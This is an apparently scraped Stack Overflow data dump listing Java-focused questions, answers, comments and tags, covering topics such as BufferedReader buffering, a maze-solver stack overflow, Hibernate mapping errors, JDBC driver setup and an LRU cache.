has body: the Java Docs says Java Docs public class BufferedReader extends Reader Reads text from a character-input stream, buffering characters so as to provide for the >efficient reading of characters, arrays, and lines. The buffer size may be specified, or the default size may be used. The default is large >enough for most purposes. In general, each read request made of a Reader causes a corresponding read request to be >made of the underlying character or byte stream. It is therefore advisable to wrap a >BufferedReader around any Reader whose read() operations may be costly, such as >FileReaders and InputStreamReaders. For example, BufferedReader in = new BufferedReader(new FileReader("foo.in")); will buffer the input from the specified file. Without buffering, each invocation of >read() or readLine() could cause bytes to be read from the file, converted into >characters, and then returned, which can be very inefficient. But by hooking Filereader we are using FileReader's read method to read file which reads one character at a time,So if my file contains 2000 characters FileReader firstly will read 2000 characters one at a time and transfer it to buffer and we will read that from buffer using bufferedreader so How it enhances performance.We could do it using FileReader only?

bytecode-manipulation
type: Tag
tags question: http://stackoverflow.com/q/22187651
tag name: bytecode-manipulation

http://stackoverflow.com/q/22238221
upvote count: 2
has answer: http://stackoverflow.com/a/22238949
has comment: http://stackoverflow.com/comment/33771576
tagged with: stack
tagged with: java
downvote count: 2
has comment: http://stackoverflow.com/comment/33770967
has comment: http://stackoverflow.com/comment/33770993
has comment: http://stackoverflow.com/comment/33771691
linked to: http://stackoverflow.com/q/5788356
type: Question
has comment: http://stackoverflow.com/comment/33771245
has comment: http://stackoverflow.com/comment/33771358
has title: Maze solver issue (Getting stack overflow error)
has comment: http://stackoverflow.com/comment/33771003
has comment: http://stackoverflow.com/comment/33771282
has comment: http://stackoverflow.com/comment/33771441
score: 0
has comment: http://stackoverflow.com/comment/33772152
has comment: http://stackoverflow.com/comment/33771329
answer count: 1
has body: So we are given a maze with walls(W) open path(O) a start pt (S) and a finish pt (F). I am trying to write an algorithm that takes the maze file and then turns it into a 2D array of points to make a grid. Once I have the grid, I want to start on the 'S' character in the maze and try to find whether or not it is possible to traverse through the O's to get to the F. (Return a boolean true/false) I know that this maze is solvable, so why am I getting a StackOverFlowError..? Here is the Maze1.txt file: WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW WSOOOOOOOOOOOOOOWOOOOOOOOOOOOOOOOOWOOOOOOOOOOOOOOOWOOOOOOW WWOOOOOOOOOOOOOWWWWWWWWWWWWWOOOOOOOOOOWWWWWWWWWWWWWOOOOOOW WWWWWWOOOOOOOOOOOOWWWWWWWOOOOOOOOOOOOWWWWWWWWWWWWWWWWOOOOW WOOOOOOWWWWWWWWWWWWWWOOOOOOOOOOOWWWWWWWWOOOOOOOOOOOOOOOWWW WOOOOWWWWWWWOOOOOOWWWWOOOOOOWWWWWWWWWWWOOOOWWWWWWWWWOWWWWW WOOOWWWWWWWWWWWWOOWWWWWWWWWWWWOOOOOOOOOOOOWWWWWWWWWOOOOOWW WOOWWWWWWWWWWWWWOOWWWWWWWWWWWWWWWWWOOOOOOOWWWWWWWWWWWWOOOW WOWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWOOOOOOOWWWWWWWWWWWOOW WOWWWWWWWWWWWWWOOOOOOOOOOOOOOOOOOOOOOOOOOOOWWWWWWWWWWWWOOW WOOOOOOOOOOOOOOOOWWWWOOOOOOOOWWWWWWWOOOOOOWWWWWWWWWWWWWOFW WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW Here is my code(new attempt): import java.io.File; import java.io.FileNotFoundException; import java.util.HashSet; import java.util.Scanner; import java.util.Stack; import java.awt.Point; public class MazeExplorer { static Point startPoint = new Point(); static Point finishPoint = new Point(); final static int mazeHeight = 12; final static int mazeWidth = 58; static char[][] mazePoints = new char[mazeHeight][mazeWidth]; Stack&lt;Point&gt; pointsNotTraversed = new Stack&lt;Point&gt;(); Point pt = new Point(); static HashSet&lt;Point&gt; previousLocations = new HashSet&lt;Point&gt;(); static Stack&lt;Point&gt; nextPoints = new Stack&lt;Point&gt;(); public static void main(String[] args) throws FileNotFoundException{ System.out.println("Please enter the file name of your Maze"); S…
favorite count: 0
has comment: http://stackoverflow.com/comment/33771471
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33771412
has comment: http://stackoverflow.com/comment/33771416
has comment: http://stackoverflow.com/comment/33771406

http://stackoverflow.com/a/22303874
answers question: http://stackoverflow.com/q/22303777
upvote count: 2
has comment: http://stackoverflow.com/comment/33896092
type: Answer
score: 2
downvote count: 0
has body: If your path is valid within your file system, I would recommend not using regex and using a File object instead: String path = "\\myvdi\\Prod\\2014\\10\\LTCG\\LTCG_v2306_03_07_2014_1226.pfd"; File file = new File(path); System.out.println(file.getParent()); Output \\myvdi\\Prod\\2014\\10\\LTCG\\
has comment: http://stackoverflow.com/comment/33889710
has comment: http://stackoverflow.com/comment/33889788

http://stackoverflow.com/a/22318815
type: Answer
has body: I would use a generic functional test automation framework and use a set of libraries to read/parse/compare files. I am familiar with Robot Framework and there are some Python Libraries to read/compare files (some embedded in Robot itself, some elsewhere). That is very convenient and quite easy to use for QA Tests. Check out the demo project for a good start. If you prefer to stick in the Java ecosystem, you might want to try Cucumber-jvm or JBehave.
has comment: http://stackoverflow.com/comment/33958934
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22305442
has comment: http://stackoverflow.com/comment/34041989
has comment: http://stackoverflow.com/comment/33935802
answers question: http://stackoverflow.com/q/22305442

http://stackoverflow.com/a/28420515
score: 1
answers question: http://stackoverflow.com/q/22235432
type: Answer
upvote count: 1
has body: A bit late but just did this myself. Very simple really: Go to https://www.jetbrains.com/idea/download for the latest version of idea. While it's downloading go to the terminal and type sudo apt-get update &amp;&amp; sudo apt-get install openjdk-7-jdk Once Idea is downloaded and openjdk installed, extract the idea file somewhere. mv ~/Downloads/idea-IU*.tar.gz ~ cd ~ tar xvf idea-IU*.tar.gz To launch idea then just go to the extracted directory and run the idea.sh in the bin directory cd idea-IU*/bin ./idea.sh Should start up nicely Update: Saying it starts up nicely was not a lie. It just doesn't stay up long. Trying to see whats going wrong. Will update with findings. OK, so you'll also need to do the following, open idea.sh and add -jamvm to the list of arguments used to run intellij,so change this line: IDE_JVM_ARGS="" To this: IDE_JVM_ARGS="-jamvm" ALSO, you'll need to install clang ( sudo apt-get install clang ) and copy and run ( bash &lt;scriptname&gt;.sh /path/to/idea/bin ) this guy's shell script : https://gist.github.com/pcarrier/7560053#file-fsnotifierto-sh
downvote count: 0

scope
tags question: http://stackoverflow.com/q/22230481
tag name: scope
type: Tag
tags question: http://stackoverflow.com/q/22274480
tags question: http://stackoverflow.com/q/22216633
tags question: http://stackoverflow.com/q/22278918

http://stackoverflow.com/q/22214187
score: 1
tagged with: java
tagged with: hibernate
type: Question
has answer: http://stackoverflow.com/a/22214361
upvote count: 1
has body: I am not able to figure out why my filter is not being applied to an association. I can see that it is being registered 06 Mar 2014 02:55:33,039 [INFO] (main) org.springframework.orm.hibernate3.annotation.AnnotationSessionFactoryBean: Building new Hibernate SessionFactory 06 Mar 2014 02:55:33,039 [DEBUG] (main) org.hibernate.cfg.Configuration: Preparing to build session factory with filters : {addressType=org.hibernate.engine.FilterDefinition@1015ee3d} 06 Mar 2014 02:55:40,172 [DEBUG] (main) org.hibernate.impl.SessionFactoryImpl: Session factory constructed with filter configurations : {addressType=org.hibernate.engine.FilterDefinition@1015ee3d} Below is my class @Entity @Table(name = "person") @FilterDef(name = "addressType", parameters = @ParamDef(name = "addressType", type = "string")) public class Person { @Id @Column(name = "EMPLID", nullable = false) private String employeeId; @OneToMany @JoinColumn(name = "EMPLID") @Filter(name = "addressType", condition = ":addressType = ADDRESS_TYPE") private Set&lt;PersonAddressHistory&gt; personAddressHistories; public String getEmployeeId() { return employeeId; } public void setEmployeeId(final String employeeId) { this.employeeId = employeeId; } public Set&lt;PersonAddressHistory&gt; getPersonAddressHistories() { return personAddressHistories; } public void setPersonAddressHistories(final Set&lt;PersonAddressHistory&gt; personAddressHistories) { this.personAddressHistories = personAddressHistories; } @Override public String toString() { return Objects.toStringHelper(this).add("employeeId", getEmployeeId()).toString(); } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (obj == null) { return false; } if (!(obj instanceof Person)) { return false; } Person other = (Person) obj; return Objects.equal(getEmployeeId(), other.getEmployeeId()); } @Override public int hashCode() { return Objects.hashCode(getEmployeeId()); } } @Entity @Table(name = "address_history") public class PersonAddressHist…
answer count: 1
favorite count: 0
has title: Hibernate @Filter not applied on association
type: UnansweredQuestion
tagged with: hibernate-mapping
downvote count: 0

http://stackoverflow.com/comment/108223265
score: 0
type: Comment
has text: As @fall said, it replaces only an even number of slashes. `foo////bar` would become `foo/bar` but `foo///bar` would become `foo//bar`.
comment on: http://stackoverflow.com/a/26842113
type: AnswerComment

http://stackoverflow.com/a/22264789
has comment: http://stackoverflow.com/comment/33819197
has comment: http://stackoverflow.com/comment/33819459
answers question: http://stackoverflow.com/q/22264779
downvote count: 0
has body: You should use preferences or sqlite to store the data. Check the storage options @ http://developer.android.com/guide/topics/data/data-storage.html Example: public static final String PREFS_NAME = "MyPrefsFile"; Then SharedPreferences settings = getSharedPreferences(PREFS_NAME, 0); SharedPreferences.Editor editor = settings.edit(); editor.putString("key", stringvalue); editor.commit(); Then to get SharedPreferences settings = getSharedPreferences(PREFS_NAME, 0); String value = settings.getString("key","defaultstring");
has comment: http://stackoverflow.com/comment/33819222
has comment: http://stackoverflow.com/comment/33819266
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/33819474
upvote count: 2
has comment: http://stackoverflow.com/comment/33819297

http://stackoverflow.com/q/22294909
has comment: http://stackoverflow.com/comment/33873205
has comment: http://stackoverflow.com/comment/33872870
has comment: http://stackoverflow.com/comment/33872913
has comment: http://stackoverflow.com/comment/33873026
has comment: http://stackoverflow.com/comment/33872804
accepted answer: http://stackoverflow.com/a/22295127
has body: I have added the jar file for jdbc in build path for my project, but still its giving me this exception javax.servlet.ServletException: java.lang.ClassNotFoundException: com.mysql.jdbc.Driver" I've added the jar file in Project --> Proeperties -->Java Bild Path -->Libraries -->Add External Library. Member Details Members Details...! <%@ page import="java.util.*" %> <%@ page import="java.sql.SQLException" %> <%@ page import="javax.sql.*;" %> <% java.sql.Connection con; java.sql.Statement s; java.sql.ResultSet rs; java.sql.PreparedStatement pst; con=null; s=null; pst=null; rs=null; // Remember to change the next line with your own environment String url= "jdbc:mysql://localhost:3306/employees"; String id= "root"; String pass = "admin"; try{ Class.forName("com.mysql.jdbc.Driver"); con = java.sql.DriverManager.getConnection(url, id, pass); }catch(SQLException e) { System.out.println("Connection Failed! Check output console"); e.printStackTrace(); return; } String sql = "SELECT id, age, first, last FROM employee"; try{ s = con.createStatement(); rs = s.executeQuery(sql); %> Employee ID Employee Age First Name Last Name <% while( rs.next() ){ %> <%= rs.getString("id") %> <%= rs.getString("age") %> <%= rs.getString("first") %> <%= rs.getString("last") %> <% } %> <% }catch(Exception e){ e.printStackTrace(); } finally{ if(rs!=null) rs.close(); if(s!=null) s.close(); if(con!=null) con.close(); } %> Exception StackTrace: org.apache.jasper.JasperException: javax.servlet.ServletException: java.lang.ClassNotFoundException: com.mysql.jdbc.Driver org.apache.jasper.servlet.JspServletWrapper.handleJspException (JspServletWrapper.java:549) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:455) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) javax.servlet.http.HttpServlet.service(HttpServlet.java:728) org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.d…
downvote count: 0
answer count: 1
tagged with: jsp
has comment: http://stackoverflow.com/comment/33872838
favorite count: 0
has comment: http://stackoverflow.com/comment/33872888
tagged with: exception
tagged with: jdbc
score: 2
type: AnsweredQuestion
has title: Besides Adding jar for JDBC,"java.lang.classnotfoundexception:com.mysql.jdbc.Driver "
upvote count: 2
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33872931
has answer: http://stackoverflow.com/a/22295127
has comment: http://stackoverflow.com/comment/33872883

http://stackoverflow.com/a/22295829
has comment: http://stackoverflow.com/comment/33877897
score: 1
has body: The exec goal will execute your program in a separate process, so the debugger may not be connecting to the right JVM. Instead try using the java goal, e.g.: mvnDebug install exec:java This will execute your program in the same process and hopefully you will hit your breakpoint.
downvote count: 0
has comment: http://stackoverflow.com/comment/33889209
has comment: http://stackoverflow.com/comment/33996128
has comment: http://stackoverflow.com/comment/33918071
type: Answer
answers question: http://stackoverflow.com/q/22229088
has comment: http://stackoverflow.com/comment/33876237
upvote count: 1
has comment: http://stackoverflow.com/comment/33875084

http://stackoverflow.com/a/22242656
score: 0
type: Answer
has body: it means Waits at most mentioned milliseconds for this thread to die. timeout 0 milliseconds means the thread will wait forever.
answers question: http://stackoverflow.com/q/22242584

http://stackoverflow.com/a/22245198
type: Answer
has body: Generics restrict you to pass only same type of parameter that define in method definition. Below solution will work for you. import java.util.ArrayList; class Animal{} class Dog extends Animal{} public class Sample { void go(ArrayList&lt;? extends Animal&gt; list){} public static void main(String...args) { ArrayList&lt;Dog&gt; list=new ArrayList&lt;Dog&gt;(); new Sample().go(list); }}
answers question: http://stackoverflow.com/q/22244398
score: 0

http://stackoverflow.com/q/22228874
has comment: http://stackoverflow.com/comment/33752867
has comment: http://stackoverflow.com/comment/34266798
tagged with: java
has body: How to find if a public website page is using POST method? If it is using, how to find out the parameters it uses in that method without looking at the source code, of course looking at the source code of html?
downvote count: 1
type: Question
tagged with: c#
has answer: http://stackoverflow.com/a/22229096
has answer: http://stackoverflow.com/a/22229029
upvote count: 0
has comment: http://stackoverflow.com/comment/33752804
tagged with: javascript
score: -1
answer count: 3
has comment: http://stackoverflow.com/comment/33752767
has title: How to find if a public website page is using POST method?
favorite count: 0
has answer: http://stackoverflow.com/a/22229078
type: UnansweredQuestion

http://stackoverflow.com/comment/33731560
type: QuestionComment
has text: @StefanFreitag Sorry, mistake on my part for not making the question more clear, i am given a start and an end index (2,4) and it should remove all elements that are in those indexes.
comment on: http://stackoverflow.com/q/22216557
score: 0
type: Comment

http://stackoverflow.com/a/22238468
has comment: http://stackoverflow.com/comment/33773907
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22238306
has comment: http://stackoverflow.com/comment/33773837
has body: The recursion error you are seeing is (at least partly) because of the left hand side of your return statement. copy is an exact duplicate of set, so calling isSubsetSum(copy, n, sum) is the same as calling isSubsetSum(set, n, sum). If one of your base cases does not apply to set, it will also not apply to copy, resulting in infinite recursions on the left half of the || evaluation (which is evaluated first). Thus, the program will never find a solution to the question, and eventually you'll hopefully see that recursion error (or it will just keep chugging forever!) To avoid this, you'll want to modify your recursive call in the return statement to only deal a subset of the problem.

http://stackoverflow.com/comment/33842698
has text: The point is it's supposed to be independent of the protocol. There is no reason for parties to have to agree whether to sign the hash itself or hash-sign the data, because it comes to the same thing. The code I have _should work_. It does on other platforms.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22276976
type: QuestionComment

http://stackoverflow.com/a/22225554
has comment: http://stackoverflow.com/comment/33746693
has body: The problem appears to be that you're not checking for division by 2. You're calling crossOut(16) at some point (specifically as a multiple of 4), which crosses out the corresponding value for 17. Similarly for 112 causing 113 to be crossed out. Change: if (i != curr &amp;&amp; i % curr == 0) { to: if (i % 2 != 0 &amp;&amp; i != curr &amp;&amp; i % curr == 0) { and both of those gets printed as prime. Also, I'm a bit concerned with what exactly that loop is doing - I didn't look at the output in too much detail, although it actually appears to be all the primes, but I imagine you should looping over multiples of curr, the first being 2*curr (not curr*curr), the increment between being curr (not 2*curr), although I'm not saying what you've done is incorrect, as I need a bit more time to understand exactly how your code is solving this problem.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22225218
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/22225218
score: 2

http://stackoverflow.com/comment/33708249
has text: But I do think that E is required for the equals method
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22199590

http://stackoverflow.com/comment/33861489
type: AnswerComment
has text: this is mostly a question about regex, so I am still struggling to find the correct regex to get rid of the "(" and ","
type: Comment
comment on: http://stackoverflow.com/a/22288181
score: 0

http://stackoverflow.com/q/22205876
tagged with: database
has comment: http://stackoverflow.com/comment/33712741
has comment: http://stackoverflow.com/comment/33714043
has title: Create record causes org.hibernate.MappingException: Unknown entity
has comment: http://stackoverflow.com/comment/33713124
answer count: 1
downvote count: 0
favorite count: 0
has body: I am trying to create a record in a table but it gives me the following exception. org.hibernate.MappingException: Unknown entity: com.Person My get(Person person) method works fine and returns the result. DAO class: public void create(Person person){ Session session = HibernateUtil.getSession(); Transaction tx = session.beginTransaction(); session.save(person);//-----------------------&gt;this throws exception session.flush(); tx.commit(); session.close(); } public List&lt;Person&gt; get(Person person){ criteria = createCriteria("person"); criteria.add(Restrictions.eq("person", person.getFirstName())); return criteria.list(); } hibernate.cfg.xml file: &lt;hibernate-configuration&gt; &lt;session-factory&gt; //other database properties &lt;mapping resource="com/Person.hbm.xml" /&gt; &lt;/session-factory&gt; &lt;/hibernate-configuration&gt; Person.hbm.xml file: &lt;hibernate-mapping default-lazy="false"&gt; &lt;class name="com.Person" table="Person" entity-name="person"&gt; &lt;id name="personId" type="integer" column="PERSON_ID"&gt; &lt;generator class="increment"/&gt; &lt;/id&gt; &lt;property name="firstName" column="FIRST_NAME"/&gt; &lt;property name="address" column="ADDRESS"/&gt; &lt;/class&gt; &lt;/hibernate-mapping&gt; Entity mapped to table Person: public class Person implements Serializable{ private Integer personId; private String firstName; private String address; public Person(){} //getters setters }
has comment: http://stackoverflow.com/comment/33712353
has answer: http://stackoverflow.com/a/22208054
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33713083
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22208054
has comment: http://stackoverflow.com/comment/33713219
score: 1
tagged with: java
tagged with: hibernate
has comment: http://stackoverflow.com/comment/33712874
has comment: http://stackoverflow.com/comment/33712995
upvote count: 1
has comment: http://stackoverflow.com/comment/33713055
has comment: http://stackoverflow.com/comment/33712903
has comment: http://stackoverflow.com/comment/33712633
type: Question
has comment: http://stackoverflow.com/comment/33714878

http://stackoverflow.com/comment/33774613
has text: Thank you, changed to 57 and likewise for other problems...now I have a stack overflow error??
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22240345
type: Comment

http://stackoverflow.com/comment/34567552
type: QuestionComment
comment on: http://stackoverflow.com/q/22317878
has text: @andyf Did you already report this bug? Otherwise I'll report it together with the Javadoc bug.
score: 0
type: Comment

http://stackoverflow.com/a/22288553
answers question: http://stackoverflow.com/q/22288096
score: 1
has comment: http://stackoverflow.com/comment/33866955
upvote count: 1
downvote count: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22288096
has body: Try this one Use regex to split on the basis of )->( String s="(Air Fresheners,17)-&gt;(Chocolate Chips,14)-&gt;(Juice-Frozen,24)"; Pattern regex = Pattern.compile("\\)-&gt;\\("); Matcher regexMatcher = regex.matcher(s); int i=0; while (regexMatcher.find()) { System.out.println(s.substring(i+1,regexMatcher.start())); i=regexMatcher.end()-1; } System.out.println(s.substring(i+1,s.length()-1)); Try String.split() method String s = "(Air Fresheners,17)-&gt;(Chocolate Chips,14)-&gt;(Juice-Frozen,24)"; for (String str : s.substring(1, s.length() - 1).split("\\)-&gt;\\(")) { System.out.println(str); }

http://stackoverflow.com/comment/33905978
score: 0
type: Comment
has text: @AndrewG Except it won't auto-box an array of `int`s. You need to give `asList` an array of `Integers` to get a `List<Integer>`. See http://stackoverflow.com/questions/1467913/arrays-aslist-not-working-as-it-should?lq=1
type: AnswerComment
comment on: http://stackoverflow.com/a/22312891

http://stackoverflow.com/comment/33912422
type: QuestionComment
type: Comment
has text: If s1 is a string array, just make a list of it and use the contains function to check if workSteam is there and give a message. if(Array.AsList(s1).Contains(workSteam)) { // show message }
score: 0
comment on: http://stackoverflow.com/q/22316777

http://stackoverflow.com/q/22287524
has comment: http://stackoverflow.com/comment/33859944
has answer: http://stackoverflow.com/a/22287593
has title: JAVA two-dimensional array code
score: 0
answer count: 3
tagged with: arrays
has answer: http://stackoverflow.com/a/22287623
favorite count: 0
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22287572
has answer: http://stackoverflow.com/a/22287572
accepted answer: http://stackoverflow.com/a/22287623
has comment: http://stackoverflow.com/comment/33860053
upvote count: 1
downvote count: 1
has body: I want to write a program that creates a two-dimensional int array initialized with test data. The program cannot run. I am confused about the code.Please help with the problem.How to correct my code? Thank you. public class Int2DArray { private static int x; private static int y; public static int getTotal(int[][] numbers) { int total = 0; for (int x = 0; x &lt; numbers.length; x++); for (int y = 0; y &lt; numbers[x].length; y++); total = total + numbers[x][y]; return total; } public static double getAverage(int[][] numbers) { double average = 0; average = getTotal(numbers) / (x + y); return average; } public static int getRowTotal(int[][] numbers, int index) { int total = 0; for (int y = 0; y &lt; 3; y++) { total = total + numbers[index][y]; } return total; } public static int getColumnTotal(int[][] numbers, int index) { int total = 0; for (int x = 0; x &lt; numbers.length; x++) { total = total + numbers[x][index]; } return total; } public static int getHighestInRow(int[][] numbers, int x) { int high = numbers[x][0]; for (int i = 1; i &lt; 3; i++) { if (numbers[x][i] &gt; high) { high = numbers[x][i]; } } return high; } public static int getLowestInRow(int[][] numbers, int x) { int low = numbers[x][0]; for (int i = 1; i &lt; 3; i++) { if (numbers[x][i] &lt; low) { low = numbers[x][i]; } } return low; } } public class Int2DArrayTest { public static void main(String[] args) { int[][] iarray = {{2, 1, 9}, {7, 3, 4}, {5, 6, 8}}; System.out.println("Total:" + getTotal(iarray)); System.out.println("Average:" + getAverage(iarray)); System.out.println("Total of row 0" + getRowTotal(iarray, 0)); System.out.println("Total of row 1" + getRowTotal(iarray, 1)); System.out.println("Total of row 2" + getRowTotal(iarray, 2)); System.out.println("Total of col 0" + getColumnTotal(iarray, 0)); System.out.println("Total of col 1" + getColumnTotal(iarray, 1)); System.out.println("Total of col 2" + getColumnTotal(iarray, 2)); System.out.println("Highest in row 0" + getHighestInRow(iarr…
type: Question
has comment: http://stackoverflow.com/comment/33859985
tagged with: java

http://stackoverflow.com/comment/33883719
has text: I tried already in this way, its not working and throwing exception = list!java.lang.NullPointerException
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22300972
type: AnswerComment

http://stackoverflow.com/comment/33799719
score: 1
has text: yes, but what problem? IOException? but where does it come from? exception with stack trace?
comment on: http://stackoverflow.com/q/22246630
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22260265
has answer: http://stackoverflow.com/a/22269487
has title: Solr - Unknown field name when posting
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22260897
tagged with: java
tagged with: http://stackoverflow.com/tag/json
tagged with: solr
type: Question
has body: I'm trying to post a json to solr and keep getting this error...this is a custom field. Command being used: java -Dtype=application/json -jar post.jar convertcsv1.json The "books.json" example shown here works fine: https://wiki.apache.org/solr/UpdateJSON Error back: SimplePostTool version 1.5 Posting files to base url http://localhost:8983/solr/update using content-type application/json.. POSTing file convertcsv1.json SimplePostTool: WARNING: Solr returned an error #400 Bad Request SimplePostTool: WARNING: IOException while reading response: java.io.IOException: Server returned HTTP response code: 40 0 for URL: http://localhost:8983/solr/update 1 files indexed. COMMITting Solr index changes to http://localhost:8983/solr/update..
answer count: 2
score: 0

http://stackoverflow.com/q/22272415
upvote count: 2
type: UnansweredQuestion
type: Question
tagged with: java
has body: I'm trying to add a moving background in my game but I can't figure it out. The current code I use right now is this, and what this does is set a gray background color with moving clouds. This is in my GameScene.java private void createBackground() { pb = new ParallaxBackground(0.53f, 0.53f, 0.53f); //Background color Entity clouds = new Rectangle(0, 0, 1000, 800, vbom); clouds.setAnchorCenter(0, 0); clouds.setAlpha(0f); clouds.attachChild(new Sprite(100, 500, res.cloudRegion, vbom)); clouds.attachChild(new Sprite(300, 700, res.cloudRegion, vbom)); clouds.attachChild(new Sprite(500, 600, res.cloudRegion, vbom)); clouds.attachChild(new Sprite(800, 730, res.cloudRegion, vbom)); ParallaxEntity pe = new ParallaxEntity(-0.2f, clouds); pb.attachParallaxEntity(pe); setBackground(pb); } And the cloudsRegion gets called from ResourceManager.java cloudRegion = BitmapTextureAtlasTextureRegionFactory.createFromAsset( gameObjectsAtlas, activity.getAssets(), "cloud.png"); I've been stuck on this for days, so if you could help that'd be great; thank you.
tagged with: andengine
downvote count: 0
has answer: http://stackoverflow.com/a/32824350
answer count: 1
has comment: http://stackoverflow.com/comment/34050119
favorite count: 0
has title: Creating a parallax background
tagged with: opengl-es-2.0
tagged with: android
score: 2

http://stackoverflow.com/a/22291252
downvote count: 0
answers question: http://stackoverflow.com/q/22291189
score: 1
has body: You can't actually do this since as you stated, casting does not change the fact that the object is still an instance of B, not A. You will need to make A delegate to a composite instance of B and pass it through the constructor as you suggested.
upvote count: 1
has comment: http://stackoverflow.com/comment/33866785
type: Answer
has comment: http://stackoverflow.com/comment/33866806

scala-ide
tags question: http://stackoverflow.com/q/22327018
type: Tag
tag name: scala-ide

http://stackoverflow.com/comment/33977473
comment on: http://stackoverflow.com/a/22288313
score: 0
type: Comment
has text: I'm not sure I completely understand what you mean @JohnAment. The session scoped bean is a user bean which contains information about the current user. The request bean is used primarily to take user input from the view to the model where it is processed and added to a database. I chose request scope for this as it only needs to exist for the life of the request. The injection is required because I need to record the data in the database against the correct user record. Is this poor design to have 2 separate beans with different scopes?
type: AnswerComment

http://stackoverflow.com/a/22286701
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/22284588
has comment: http://stackoverflow.com/comment/34440944
downvote count: 0
has comment: http://stackoverflow.com/comment/33913546
score: 4
has comment: http://stackoverflow.com/comment/33911874
has comment: http://stackoverflow.com/comment/59915558
has body: A standard idiom for this in shell scripts is dirname $0. The $0 variable is the path to the script that was executed, and the dirname command takes a path and strips off the last component to leave the path to the containing directory cd "`dirname $0`"
has comment: http://stackoverflow.com/comment/33918501
has comment: http://stackoverflow.com/comment/33913421

http://stackoverflow.com/comment/33744132
type: QuestionComment
comment on: http://stackoverflow.com/q/22222720
has text: no @kumar ..first of all. do u have any mail(SMTP) server ....if not use the gmail smtp server and send..
score: 0
type: Comment

http://stackoverflow.com/comment/33791677
score: 0
type: QuestionComment
type: Comment
has text: Suppose you start two applications at once, and both write to the console and expect an answer from you. How would you intend this to work? Why not simply open two command line windows, and run each app in its window?
comment on: http://stackoverflow.com/q/22250172

http://stackoverflow.com/comment/33731268
has text: i understood first and third point but didn't get the 2nd point does buffered reader creates a new buffer everytime it reads a line and Are you saying that buffered reader reads data from buffer so it saves our time?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22216454

http://stackoverflow.com/comment/33931175
type: QuestionComment
has text: Are the clients and servers not on the same network?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22327722

http://stackoverflow.com/a/22202322
score: 1
has body: To give a complete answer we actually need to know what's the name of the class that contains that main method. Also, I'm struggling to understand such a weird requirement but I'll do my best to come up with a useful answer. To invoke your main method you need to access it through the class that contains it, since it's a static method. You also need to provide an array of arguments mainly because it seems that your main method is using the first of the elements in the arguments array. So something like this would work: private void CompareActionPerformed(java.awt.event.ActionEvent evt) { String[] args = new String[] { "myparam" }; MainClass.main(args); } Now, said that, let me note that such an invocation of a main method is a very bad practice, you could achieve the same copying the contents of your main method into your event handler CompareActionPerformed. Or even better, creating a separate and independent class with an static method that performs the same that you need from your main method. Then invoke that new static method from your main class and from your event handler (assuming that all the code is accessible from the same class loader).
has comment: http://stackoverflow.com/comment/33706641
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/22202170
downvote count: 0
has comment: http://stackoverflow.com/comment/33753607
has comment: http://stackoverflow.com/comment/33739801

locationlistener
tags question: http://stackoverflow.com/q/22215344
type: Tag
tags question: http://stackoverflow.com/q/22228982
tag name: locationlistener

http://stackoverflow.com/q/22196377
has body: I have implemented a simple LRU cache as a doubly linked list written manually from scratch. The cache is filled with objects Request distinguished by their numeric (integer) ID. These Request objects are generated as a stream of L random independent and identically distributed requests for a set of N &lt; L predefined Request objects and arrive to the cache one by one (i.e. in a serial fashion). Then I check for cache hit or miss and if the current cache size has reached the maximum cache size and then, depending on the case, I perform insertion of the requested item to the cache or replacement of the LRU cached item from the requested item. One of the operations of the cache is the following: when I have a cache hit, then if the requested item is not in the head, it has to be moved there. As an example, let's say that the cache has max size M = 4 and its contents at a given time are as follows: Item: 7 | 3 | 4 | 5 Cache position index: 0 | 1 | 2 | 3 (0 is head, 3 is tail) Now if we have for example a cache hit for the item 4, since this item is not located at the head of the cache, it should be moved there and the result will be: Item: 4 | 7 | 3 | 5 Cache position index: 0 | 1 | 2 | 3 (0 is head, 3 is tail) However, when I run the code the result is this instead: Item: 4| 7 | 3 | 4 | 5 Cache position index: 0 | 1 | 2 | 3 | 4 (0 is head, 4 is tail) In other words, the relevant item (in this example, item 4) is not removed from the cache and then added to the head, but it is simply added to the head. Therefore, cache size is increased by 1 (in this example, it has become 5, which is greater than the max cache size M = 4). Here is the relevant code, along with a comment that shows I think the nature of the problem: public void moveToHead(Request request) { if(request != head) { // set previous node equal to the requested item request.left = request; // --&gt; if I set here request = null; then I will move to the head a null object!!! What to do? &lt;-- // move reques…
type: Question
tagged with: caching
score: 0
answer count: 1
has title: LRU cache with Doubly Linked List from scratch - moveToHead (Java)
tagged with: doubly-linked-list
type: UnansweredQuestion
tagged with: lru
tagged with: java
has answer: http://stackoverflow.com/a/22225031

http://stackoverflow.com/a/22201531
upvote count: 1
answers question: http://stackoverflow.com/q/22199860
score: 1
has comment: http://stackoverflow.com/comment/33704039
downvote count: 0
